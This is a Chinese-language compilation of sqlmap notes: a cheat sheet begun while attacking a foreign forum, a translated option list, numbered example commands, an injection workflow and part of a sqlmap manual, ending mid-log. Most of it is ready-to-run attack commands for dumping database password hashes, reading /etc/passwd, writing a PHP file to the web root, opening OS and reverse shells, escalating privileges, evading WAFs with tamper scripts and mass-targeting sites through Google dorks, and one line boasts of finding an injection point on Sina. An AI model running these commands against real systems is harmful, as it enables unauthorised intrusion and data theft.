**1.sqlmap注入命令的使用方法**

今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入，实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法，，直接做个记录、、  
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称 sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称  
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db\_name” #列 表名  
sqlmap -u “http://url/news?id=1″ –columns -T “tablename” users-D “db\_name” -v 0 #列字段

sqlmap  -u  “http://url/news?id=1″  –dump  -C  “column\_name”  -T “table\_name” -D “db\_name” -v  
0 #获取字段内容  
   
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*信息获取\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*  
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型  
sqlmap -u “http://url/news?id=1″ –users #列数据库用户  
sqlmap -u “http://url/news?id=1″ –dbs#列数据库  
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码  
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码  
sqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename” -D “db\_name”  
–start 1 –stop 20 #列出指定字段，列出20 条  
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表  
sqlmap -u “http://url/news?id=1″ –privileges #查看权限  
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限 sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员 sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色  
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数（获取 系统权限！）  
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表  
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录  
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE\_VALUE” #cookie注入  
sqlmap -u “http://url/news?id=1″ -b #获取banner信息  
sqlmap -u “http://url/news?id=1″ –data “id=3″ #post注入  
sqlmap -u “http://url/news?id=1″ -v 1 -f #指纹判别数据库类型  
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入  
sqlmap -u “http://url/news?id=1″–string”STRING\_ON\_TRUE\_PAGE” # 指 定关键词  
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令  
sqlmap -u “http://url/news?id=1″ –file /etc/passwd  
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令  
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell  
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表  
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log” #保存进度  
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度  
\*\*\*\*\*\*\*\*\*\*\*高级用法\*\*\*\*\*\*\*\*\*\*\*\*\*  
-p name 多个参数如index.php?n\_id=1&name=2&data=2020 我们想指定name参数进行注入  
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问  
–technique   测试指定注入类型使用的技术  
不加参数默认测试所有注入技术  
•     B: 基于布尔的 SQL 盲注  
•     E: 基于显错 sql 注入  
•     U: 基于 UNION 注入  
•     S: 叠层 sql 注入  
•     T: 基于时间盲注  
–tamper 通过编码绕过 WEB 防火墙（WAF） Sqlmap 默认用 char()  
–tamper 插件所在目录  
sqlmap-devtamper  
sqlmap -u “http://url/news?id=1″ –smart –level 3 –users # smart 智 能  
level 执行测试等级 攻击实例:  
Sqlmap -u “http://url/news?id=1&Submit=Submit”  
–cookie=”PHPSESSID=41aa833e6d0d  
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user  
–password  
参考文档:http://sqlmap.sourceforge.net/doc/README.html  
\*\*\*\*\*\*\*\*\*\*\*安装最新版本\*\*\*\*\*\*\*\*\*\*\*\*\*  
ubuntu 通过 apt-get install 安装的sqlmap版本为 0.6 我们通过svn 来安装 为 最新 1.0版  
sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev  
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行 /home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置 .bashrc 文件  
sudo vim /home/当前用户/.bashrc  
#任意位置加上：  
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效  
如果想对所有用户有效 可设置全局 编辑下面的文件  
vim /etc/profile  
同样加上：  
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效  
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*windows 7 (x64) sqlmap install (SVN)\*\*\*\*\*\*\*\*\*\*\*\*  
http://www.python.org/getit/ 安装python  
http://www.sliksvn.com/en/download 安装windows svn client  
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev  
安装sqlmap  
\*修改环境变量  
–version             显示程序的版本号并退出  
-h, –help            显示此帮助消息并退出  
-v VERBOSE            详细级别：0-6（默认为 1）  
Target（目标）： 以下至少需要设置其中一个选项，设置目标 URL。  
-d DIRECT           直接连接到数据库。  
-u URL, –url=URL   目标 URL。  
-l LIST             从 Burp 或 WebScarab 代理的日志中解析目标。  
-r REQUESTFILE      从一个文件中载入 HTTP 请求。  
-g GOOGLEDORK       处理 Google dork 的结果作为目标 URL。  
-c CONFIGFILE       从 INI 配置文件中加载选项。  
Request（请求）：:  
这些选项可以用来指定如何连接到目标 URL。  
–data=DATA         通过 POST 发送的数据字符串  
–cookie=COOKIE     HTTP Cookie 头  
–cookie-urlencode  URL 编码生成的 cookie 注入  
–drop-set-cookie   忽略响应的 Set – Cookie 头信息  
   
–user-agent=AGENT  指定  HTTP User – Agent 头  
–random-agent      使用随机选定的 HTTP User – Agent 头  
–referer=REFERER   指定  HTTP Referer 头  
–headers=HEADERS   换行分开，加入其他的 HTTP 头  
–auth-type=ATYPE   HTTP 身份验证类型（基本，摘要或 NTLM）(Basic, Digest or NTLM)  
–auth-cred=ACRED   HTTP 身份验证凭据（用户名:密码）  
–auth-cert=ACERT   HTTP 认证证书（key\_file，cert\_file）  
–proxy=PROXY       使用 HTTP 代理连接到目标 URL  
–proxy-cred=PCRED  HTTP 代理身份验证凭据（用户名：密码）  
–ignore-proxy      忽略系统默认的 HTTP 代理  
–delay=DELAY       在每个 HTTP 请求之间的延迟时间，单位为秒  
–timeout=TIMEOUT   等待连接超时的时间（默认为 30 秒）  
–retries=RETRIES   连接超时后重新连接的时间（默认 3）  
–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式  
–safe-url=SAFURL   在测试过程中经常访问的 url 地址  
–safe-freq=SAFREQ  两次访问之间测试请求，给出安全的 URL  
Optimization（优化）： 这些选项可用于优化 SqlMap 的性能。  
-o                  开启所有优化开关  
–predict-output    预测常见的查询输出  
–keep-alive        使用持久的 HTTP（S）连接  
–null-connection   从没有实际的 HTTP 响应体中检索页面长度  
–threads=THREADS   最大的 HTTP（S）请求并发量（默认为 1）  
Injection（注入）：  
这些选项可以用来指定测试哪些参数，  提供自定义的注入 payloads 和可选篡改脚本。  
-p TESTPARAMETER    可测试的参数（S）  
–dbms=DBMS         强制后端的 DBMS 为此值  
–os=OS             强制后端的 DBMS 操作系统为这个值  
–prefix=PREFIX     注入 payload 字符串前缀  
–suffix=SUFFIX     注入 payload 字符串后缀  
–tamper=TAMPER     使用给定的脚本（S）篡改注入数据  
Detection（检测）：  
这些选项可以用来指定在 SQL 盲注时如何解析和比较 HTTP 响应页面的内容。  
–level=LEVEL       执行测试的等级（1-5，默认为 1）  
–risk=RISK         执行测试的风险（0-3，默认为 1）  
–string=STRING     查询时有效时在页面匹配字符串  
–regexp=REGEXP     查询时有效时在页面匹配正则表达式  
–text-only         仅基于在文本内容比较网页  
Techniques（技巧）： 这些选项可用于调整具体的 SQL 注入测试。  
–technique=TECH    SQL 注入技术测试（默认 BEUST）  
–time-sec=TIMESEC  DBMS 响应的延迟时间（默认为 5 秒）  
–union-cols=UCOLS  定列范围用于测试 UNION 查询注入  
–union-char=UCHAR  用于暴力猜解列数的字符  
Fingerprint（指纹）：  
-f, –fingerprint     执行检查广泛的 DBMS 版本指纹  
Enumeration（枚举）：  
   
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外，您还可以运行您自己 的 SQL 语句。  
-b, –banner        检索数据库管理系统的标识  
–current-user      检索数据库管理系统当前用户  
–current-db        检索数据库管理系统当前数据库  
–is-dba            检测 DBMS 当前用户是否 DBA  
–users             枚举数据库管理系统用户  
–passwords         枚举数据库管理系统用户密码哈希  
–privileges        枚举数据库管理系统用户的权限  
–roles             枚举数据库管理系统用户的角色  
–dbs               枚举数据库管理系统数据库  
–tables            枚举的 DBMS 数据库中的表  
–columns           枚举 DBMS 数据库表列  
–dump              转储数据库管理系统的数据库中的表项  
–dump-all          转储所有的 DBMS 数据库表中的条目  
–search            搜索列（S），表（S）和/或数据库名称（S）  
-D DB               要进行枚举的数据库名  
-T TBL              要进行枚举的数据库表  
-C COL              要进行枚举的数据库列  
-U USER             用来进行枚举的数据库用户  
–exclude-sysdbs    枚举表时排除系统数据库  
–start=LIMITSTART  第一个查询输出进入检索  
–stop=LIMITSTOP    最后查询的输出进入检索  
–first=FIRSTCHAR   第一个查询输出字的字符检索  
–last=LASTCHAR     最后查询的输出字字符检索  
–sql-query=QUERY   要执行的 SQL 语句  
–sql-shell         提示交互式 SQL 的 shell  
Brute force（蛮力）： 这些选项可以被用来运行蛮力检查。  
–common-tables     检查存在共同表  
–common-columns    检查存在共同列  
User-defined function injection（用户自定义函数注入）： 这些选项可以用来创建用户自定义函数。  
–udf-inject        注入用户自定义函数  
–shared-lib=SHLIB  共享库的本地路径  
File system access（访问文件系统）： 这些选项可以被用来访问后端数据库管理系统的底层文件系统。  
–file-read=RFILE   从后端的数据库管理系统文件系统读取文件  
–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件  
–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径  
Operating system access（操作系统访问）： 这些选项可以用于访问后端数据库管理系统的底层操作系统。  
–os-cmd=OSCMD      执行操作系统命令  
–os-shell          交互式的操作系统的 shell  
–os-pwn            获取一个 OOB shell，meterpreter 或 VNC  
–os-smbrelay       一键获取一个 OOB shell，meterpreter 或 VNC  
–os-bof            存储过程缓冲区溢出利用  
–priv-esc          数据库进程用户权限提升  
–msf-path=MSFPATH  Metasploit Framework 本地的安装路径  
–tmp-path=TMPPATH  远程临时文件目录的绝对路径  
   
Windows 注册表访问： 这些选项可以被用来访问后端数据库管理系统 Windows 注册表。  
–reg-read          读一个 Windows 注册表项值  
–reg-add           写一个 Windows 注册表项值数据  
–reg-del           删除 Windows 注册表键值  
–reg-key=REGKEY    Windows 注册表键  
–reg-value=REGVAL  Windows 注册表项值  
–reg-data=REGDATA  Windows 注册表键值数据  
–reg-type=REGTYPE  Windows 注册表项值类型  
General（一般）： 这些选项可以用来设置一些一般的工作参数。  
-t TRAFFICFILE      记录所有 HTTP 流量到一个文本文件中  
-s SESSIONFILE      保存和恢复检索会话文件的所有数据  
–flush-session     刷新当前目标的会话文件  
–fresh-queries     忽略在会话文件中存储的查询结果  
–eta               显示每个输出的预计到达时间  
–update            更新 SqlMap  
–save              file 保存选项到 INI 配置文件  
–batch             从不询问用户输入，使用所有默认配置。  
Miscellaneous（杂项）：  
–beep              发现 SQL 注入时提醒  
–check-payload     IDS 对注入 payloads 的检测测试  
–cleanup           SqlMap 具体的 UDF 和表清理 DBMS  
–forms             对目标 URL 的解析和测试形式  
–gpage=GOOGLEPAGE  从指定的页码使用谷歌 dork 结果  
–page-rank         Google dork 结果显示网页排名（PR）  
–parse-errors      从响应页面解析数据库管理系统的错误消息  
–replicate         复制转储的数据到一个 sqlite3 数据库  
–tor               使用默认的 Tor（Vidalia/ Privoxy/ Polipo）代理地址  
–wizard            给初级用户的简单向导界面

**2.sqlmap的常用参数**

-u #注入点   
-f #指纹判别数据库类型   
-b #获取数据库版本信息   
-p #指定可测试的参数(?page=1&id=2 -p “page,id”)   
-D “” #指定数据库名   
-T “” #指定表名   
-C “” #指定字段   
-s “” #保存注入过程到一个文件,还可中断，下次恢复在注入(保存：-s “xx.log”　　恢复:-s “xx.log” –resume)   
–columns #列出字段   
–current-user #获取当前用户名称   
–current-db #获取当前数据库名称   
–users #列数据库所有用户   
–passwords #数据库用户所有密码   
–privileges #查看用户权限(–privileges -U root)   
-U #指定数据库用户   
–dbs #列出所有数据库   
–tables -D “” #列出指定数据库中的表   
–columns -T “user” -D “mysql” #列出mysql数据库中的user表的所有字段   
–dump-all #列出所有数据库所有表   
–exclude-sysdbs #只列出用户自己新建的数据库和表   
–dump -T “” -D “” -C “” #列出指定数据库的表的字段的数据(–dump -T users -D master -C surname)   
–dump -T “” -D “” –start 2 –top 4 # 列出指定数据库的表的2-4字段的数据   
–dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)   
–os #指定系统(Linux,Windows)   
-v #详细的等级(0-6)   
0：只显示Python的回溯，错误和关键消息。   
1：显示信息和警告消息。   
2：显示调试消息。   
3：有效载荷注入。   
4：显示HTTP请求。   
5：显示HTTP响应头。   
6：显示HTTP响应页面的内容   
–privileges #查看权限   
–is-dba #是否是数据库管理员   
–roles #枚举数据库用户角色   
–udf-inject #导入用户自定义函数（获取系统权限）   
–union-check #是否支持union 注入   
–union-cols #union 查询表记录   
–union-test #union 语句测试   
–union-use #采用union 注入   
–union-tech orderby #union配合order by   
–method “POST” –data “” #POST方式提交数据(–method “POST” –data “page=1&id=2″)   
–cookie “用;号分开” #cookie注入(–cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)   
–referer “” #使用referer欺骗(–referer “http://www.baidu.com”)   
–user-agent “” #自定义user-agent   
–proxy “http://127.0.0.1:8118″ #代理注入   
–string “” #指定关键词   
–threads 　　 #采用多线程(–threads 3)   
–sql-shell #执行指定sql命令   
–sql-query #执行指定的sql语句(–sql-query “SELECT password FROM mysql.user WHERE user = ‘root’ LIMIT 0, 1″ )   
–file-read #读取指定文件   
–file-write #写入本地文件(–file-write /test/test.txt –file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)   
–file-dest #要写入的文件绝对路径   
–os-cmd=id #执行系统命令   
–os-shell #系统交互shell   
–os-pwn #反弹shell(–os-pwn –msf-path=/opt/framework/msf3/)   
–msf-path= #matesploit绝对路径(–msf-path=/opt/framework/msf3/)   
–os-smbrelay #   
–os-bof #   
–reg-read #读取win系统注册表   
–priv-esc #   
–time-sec= #延迟设置 默认–time-sec=5 为5秒   
-p “user-agent” –user-agent “sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)” #指定user-agent注入   
–eta #盲注   
/pentest/database/sqlmap/txt/   
common-columns.txt　　字段字典   
common-outputs.txt   
common-tables.txt 表字典   
keywords.txt   
oracle-default-passwords.txt   
user-agents.txt   
wordlist.txt   
常用语句   
1.   
./sqlmap.py -u http://www.91ri.org/ test.php?p=2 -f -b –current-user –current-db –users –passwords –dbs -v 0   
2.   
./sqlmap.py -u http://www.91ri.org/ test.php?p=2 -b –passwords -U root –union-use -v 2   
3.   
./sqlmap.py -u http://www.91ri.org/ test.php?p=2 -b –dump -T users -C username -D userdb –start 2 –stop 3 -v 2   
4.   
./sqlmap.py -u http://www.91ri.org/ test.php?p=2 -b –dump -C “user,pass” -v 1 –exclude-sysdbs   
5.   
./sqlmap.py -u http://www.91ri.org/ test.php?p=2 -b –sql-shell -v 2   
6.   
./sqlmap.py -u http://www.91ri.org/ test.php?p=2 -b –file-read “c:\boot.ini” -v 2   
7.   
./sqlmap.py -u http://www.91ri.org/ test.php?p=2 -b –file-write /test/test.txt –file-dest /var/www/html/1.txt -v 2   
8.   
./sqlmap.py -u http://www.91ri.org/ test.php?p=2 -b –os-cmd “id” -v 1   
9.   
./sqlmap.py -u http://www.91ri.org/ test.php?p=2 -b –os-shell –union-use -v 2   
10.   
./sqlmap.py -u http://www.91ri.org/ test.php?p=2 -b –os-pwn –msf-path=/opt/framework/msf3 –priv-esc -v 1   
11.   
./sqlmap.py -u http://www.91ri.org/ test.php?p=2 -b –os-pwn –msf-path=/opt/framework/msf3 -v 1   
12.   
./sqlmap.py -u http://www.91ri.org/ test.php?p=2 -b –os-bof –msf-path=/opt/framework/msf3 -v 1   
13.   
./sqlmap.py -u http://www.91ri.org/ test.php?p=2 –reg-add –reg-key=”HKEY\_LOCAL\_NACHINE\SOFEWARE\sqlmap” –reg-value=Test –reg-type=REG\_SZ –reg-data=1   
14.   
./sqlmap.py -u http://www.91ri.org/ test.php?p=2 -b –eta   
15.   
./sqlmap.py -u “http://www.91ri.org/ sqlmap/mysql/get\_str\_brackets.php?id=1″ -p id –prefix “‘)” –suffix “AND (‘abc’='abc”   
16.   
./sqlmap.py -u “http://www.91ri.org/ sqlmap/mysql/basic/get\_int.php?id=1″ –auth-type Basic –auth-cred “testuser:testpass”   
17.   
./sqlmap.py -l burp.log –scope=”(www)?\.target\.(com|net|org)”   
18.   
./sqlmap.py -u “http://www.91ri.org/ sqlmap/mysql/get\_int.php?id=1″ –tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3   
19.   
./sqlmap.py -u “http://www.91ri.org/ sqlmap/mssql/get\_int.php?id=1″ –sql-query “SELECT ‘foo’” -v 1   
20.   
./sqlmap.py -u “http://www.91ri.org/ mysql/get\_int\_4.php?id=1″ –common-tables -D testdb –banner   
  
简单的注入流程   
1.读取数据库版本，当前用户，当前数据库   
sqlmap -u http://www.91ri.org/ test.php?p=2 -f -b –current-user –current-db -v 1   
2.判断当前数据库用户权限   
sqlmap -u http://www.91ri.org/ test.php?p=2 –privileges -U 用户名 -v 1   
sqlmap -u http://www.91ri.org/ test.php?p=2 –is-dba -U 用户名 -v 1   
3.读取所有数据库用户或指定数据库用户的密码   
sqlmap -u http://www.91ri.org/ test.php?p=2 –users –passwords -v 2   
sqlmap -u http://www.91ri.org/ test.php?p=2 –passwords -U root -v 2   
4.获取所有数据库   
sqlmap -u http://www.91ri.org/ test.php?p=2 –dbs -v 2   
5.获取指定数据库中的所有表   
sqlmap -u http://www.91ri.org/ test.php?p=2 –tables -D mysql -v 2   
6.获取指定数据库名中指定表的字段   
sqlmap -u http://www.91ri.org/ test.php?p=2 –columns -D mysql -T users -v 2   
7.获取指定数据库名中指定表中指定字段的数据   
sqlmap -u http://www.91ri.org/ test.php?p=2 –dump -D mysql -T users -C “username,password” -s “sqlnmapdb.log” -v 2   
8.file-read读取web文件   
sqlmap -u http://www.91ri.org/ test.php?p=2 –file-read “/etc/passwd” -v 2   
9.file-write写入文件到web   
sqlmap -u http://www.91ri.org/ test.php?p=2 –file-write /localhost/mm.php –file-dest /var/www/html/xx.php -v 2

B : 基于Boolean的盲注（Boolean based blind）  
Q : 内联查询（Inline queries）  
T : 基于时间的盲注（time based blind）  
U : 基于联合查询（Union query based）  
E : 基于错误（error based）  
S : 栈查询（stack queries）

SQLmap –r ~root/Desktop/header.txt – -technique B – -p username – -current-user

搜索字段，表，数据库

参数：--search,-C,-T,-D

--search可以用来寻找特定的数据库名，所有数据库中的特定表名，所有数据库表中的特定字段。

可以在一下三种情况下使用：

-C后跟着用逗号分割的列名，将会在所有数据库表中搜索指定的列名。

-T后跟着用逗号分割的表名，将会在所有数据库中搜索指定的表名

-D后跟着用逗号分割的库名，将会在所有数据库中搜索指定的库名。

运行自定义的SQL语句

参数：--sql-query,--sql-shell

sqlmap会自动检测确定使用哪种SQL注入技术，如何插入检索语句。

如果是SELECT查询语句，sqlap将会输出结果。如果是通过SQL注入执行其他语句，需要测试是否支持多语句执行SQL语句。

列举一个Mircrosoft SQL Server 2000的例子：

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get\_int.php?id=1" --sql-query "SELECT 'foo'" -v 1

[...]

[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''

[hh:mm:14] [INFO] retrieved: foo

SELECT 'foo':    'foo'

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get\_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2

[...]

[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''

[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into

distinct queries to be able to retrieve the output even if we are going blind

[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),

(CHAR(32)))

[hh:mm:50] [INFO] retrieved: foo

[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds

[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)),

(CHAR(32)))

[hh:mm:50] [INFO] retrieved: bar

[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds

SELECT 'foo', 'bar':    'foo, bar'

[页](http://drops.wooyun.org/) » [技术分享](http://drops.wooyun.org/category/tips) » sqlmap用户手册

## [sqlmap用户手册](http://drops.wooyun.org/tips/143)

## 获取目标方式

### 目标URL

参数：-u或者--url

格式：http(s)://targeturl[:port]/[…]

例如：python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs --users

从Burp或者WebScarab代理中获取日志

参数：-l

可以直接吧Burp proxy或者WebScarab proxy中的日志直接倒出来交给sqlmap来一个一个检测是否有注入。

### 从文本中获取多个目标扫描

参数：-m

文件中保存url格式如下，sqlmap会一个一个检测

www.target1.com/vuln1.php?q=foobar

www.target2.com/vuln2.asp?id=1

www.target3.com/vuln3/id/1\*

### 从文件中加载HTTP请求

参数：-r

sqlmap可以从一个文本文件中获取HTTP请求，这样就可以跳过设置一些其他参数（比如cookie，POST数据，等等）。

比如文本文件内如下：

POST /vuln.php HTTP/1.1

Host: www.target.com

User-Agent: Mozilla/4.0

id=1

当请求是HTTPS的时候你需要配合这个--force-ssl参数来使用，或者你可以在Host头后门加上:443

### 处理Google的搜索结果

参数：-g

sqlmap可以测试注入Google的搜索结果中的GET参数（只获取前100个结果）。

例子：

python sqlmap.py -g "inurl:\".php?id=1\""

（很牛B的功能，测试了一下，第十几个就找到新浪的一个注入点）

此外可以使用-c参数加载sqlmap.conf文件里面的相关配置。

## 请求

### http数据

参数：--data

此参数是把数据以POST方式提交，sqlmap会像检测GET参数一样检测POST的参数。

例子：

python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users

### 参数拆分字符

参数：--param-del

当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。

例子：

python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users

### HTTP cookie头

参数：--cookie,--load-cookies,--drop-set-cookie

这个参数在以下两个方面很有用：

1、web应用需要登陆的时候。

2、你想要在这些头参数中测试SQL注入时。

可以通过抓包把cookie获取到，复制出来，然后加到--cookie参数里。

在HTTP请求中，遇到Set-Cookie的话，sqlmap会自动获取并且在以后的请求中加入，并且会尝试SQL注入。

如果你不想接受Set-Cookie可以使用--drop-set-cookie参数来拒接。

当你使用--cookie参数时，当返回一个Set-Cookie头的时候，sqlmap会询问你用哪个cookie来继续接下来的请求。当--level的参数设定为2或者2以上的时候，sqlmap会尝试注入Cookie参数。

### HTTP User-Agent头

参数：--user-agent,--random-agent

默认情况下sqlmap的HTTP请求头中User-Agent值是：

sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

可以使用--user-anget参数来修改，同时也可以使用--random-agnet参数来随机的从./txt/user-agents.txt中获取。

当--level参数设定为3或者3以上的时候，会尝试对User-Angent进行注入。

### HTTP Referer头

参数：--referer

sqlmap可以在请求中伪造HTTP中的referer，当--level参数设定为3或者3以上的时候会尝试对referer注入。

### 额外的HTTP头

参数：--headers

可以通过--headers参数来增加额外的http头

### HTTP认证保护

参数：--auth-type,--auth-cred

这些参数可以用来登陆HTTP的认证保护支持三种方式：

1、Basic

2、Digest

3、NTLM

例子：

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get\_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"

### HTTP协议的证书认证

参数：--auth-cert

当Web服务器需要客户端证书进行身份验证时，需要提供两个文件:key\_file，cert\_file。

key\_file是格式为PEM文件，包含着你的私钥，cert\_file是格式为PEM的连接文件。

### HTTP(S)代理

参数：--proxy,--proxy-cred和--ignore-proxy

使用--proxy代理是格式为：http://url:port。

当HTTP(S)代理需要认证是可以使用--proxy-cred参数：username:password。

--ignore-proxy拒绝使用本地局域网的HTTP(S)代理。

### HTTP请求延迟

参数：--delay

可以设定两个HTTP(S)请求间的延迟，设定为0.5的时候是半秒，默认是没有延迟的。

### 设定超时时间

参数：--timeout

可以设定一个HTTP(S)请求超过多久判定为超时，10.5表示10.5秒，默认是30秒。

### 设定重试超时

参数：--retries

当HTTP(S)超时时，可以设定重新尝试连接次数，默认是3次。

### 设定随机改变的参数值

参数：--randomize

可以设定某一个参数值在每一次请求中随机的变化，长度和类型会与提供的初始值一样。

### 利用正则过滤目标网址

参数：--scope

例如：

python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"

### 避免过多的错误请求被屏蔽

参数：--safe-url,--safe-freq

有的web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求，这样在sqlmap进行探测或者注入的时候可能造成错误请求而触发这个策略，导致以后无法进行。

绕过这个策略有两种方式：

1、--safe-url：提供一个安全不错误的连接，每隔一段时间都会去访问一下。

2、--safe-freq：提供一个安全不错误的连接，每次测试请求之后都会再访问一边安全连接。

### 关掉URL参数值编码

参数：--skip-urlencode

根据参数位置，他的值默认将会被URL编码，但是有些时候后端的web服务器不遵守RFC标准，只接受不经过URL编码的值，这时候就需要用--skip-urlencode参数。

### 每次请求时候执行自定义的python代码

参数：--eval

在有些时候，需要根据某个参数的变化，而修改另个一参数，才能形成正常的请求，这时可以用--eval参数在每次请求时根据所写python代码做完修改后请求。

例子：

python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

上面的请求就是每次请求时根据id参数值，做一次md5后作为hash参数的值。

## 注入

## 测试参数

参数：-p,--skip

sqlmap默认测试所有的GET和POST参数，当--level的值大于等于2的时候也会测试HTTP Cookie头的值，当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。但是你可以手动用-p参数设置想要测试的参数。例如： -p "id,user-anget"

当你使用--level的值很大但是有个别参数不想测试的时候可以使用--skip参数。

例如：--skip="user-angent.referer"

在有些时候web服务器使用了URL重写，导致无法直接使用sqlmap测试参数，可以在想测试的参数后面加\*

例如：

python sqlmap.py -u "http://targeturl/param1/value1\*/param2/value2/"

sqlmap将会测试value1的位置是否可注入。

### 指定数据库

参数：--dbms

默认情况系sqlmap会自动的探测web应用后端的数据库是什么，sqlmap支持的数据库有：

MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAP MaxDB、DB2

### 指定数据库服务器系统

参数：--os

默认情况下sqlmap会自动的探测数据库服务器系统，支持的系统有：Linux、Windows。

### 指定无效的大数字

参数：--invalid-bignum

当你想指定一个报错的数值时，可以使用这个参数，例如默认情况系id=13，sqlmap会变成id=-13来报错，你可以指定比如id=9999999来报错。

### 只定无效的逻辑

参数：--invalid-logical

原因同上，可以指定id=13把原来的id=-13的报错改成id=13 AND 18=19。

### 注入payload

参数：--prefix,--suffix

在有些环境中，需要在注入的payload的前面或者后面加一些字符，来保证payload的正常执行。

例如，代码中是这样调用数据库的：

$query = "SELECT \* FROM users WHERE id=(’" . $\_GET[’id’] . "’) LIMIT 0, 1";

这时你就需要--prefix和--suffix参数了：

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get\_str\_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc"

这样执行的SQL语句变成：

$query = "SELECT \* FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1";

### 修改注入的数据

参数：--tamper

sqlmap除了使用CHAR()函数来防止出现单引号之外没有对注入的数据修改，你可以使用--tamper参数对数据做修改来绕过WAF等设备。

下面是一个tamper脚本的格式：

# Needed imports

from lib.core.enums import PRIORITY

# Define which is the order of application of tamper scripts against

# the payload

\_\_priority\_\_ = PRIORITY.NORMAL

def tamper(payload):

    '''

    Description of your tamper script

    '''

    retVal = payload

    # your code to tamper the original payload

    # return the tampered payload

    return retVal

可以查看 tamper/ 目录下的有哪些可用的脚本

例如：

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get\_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

[hh:mm:03] [DEBUG] cleaning up configuration parameters

[hh:mm:03] [INFO] loading tamper script 'between'

[hh:mm:03] [INFO] loading tamper script 'randomcase'

[hh:mm:03] [INFO] loading tamper script 'space2comment'

[...]

[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[hh:mm:04] [PAYLOAD] 1)/\*\*/And/\*\*/1369=7706/\*\*/And/\*\*/(4092=4092

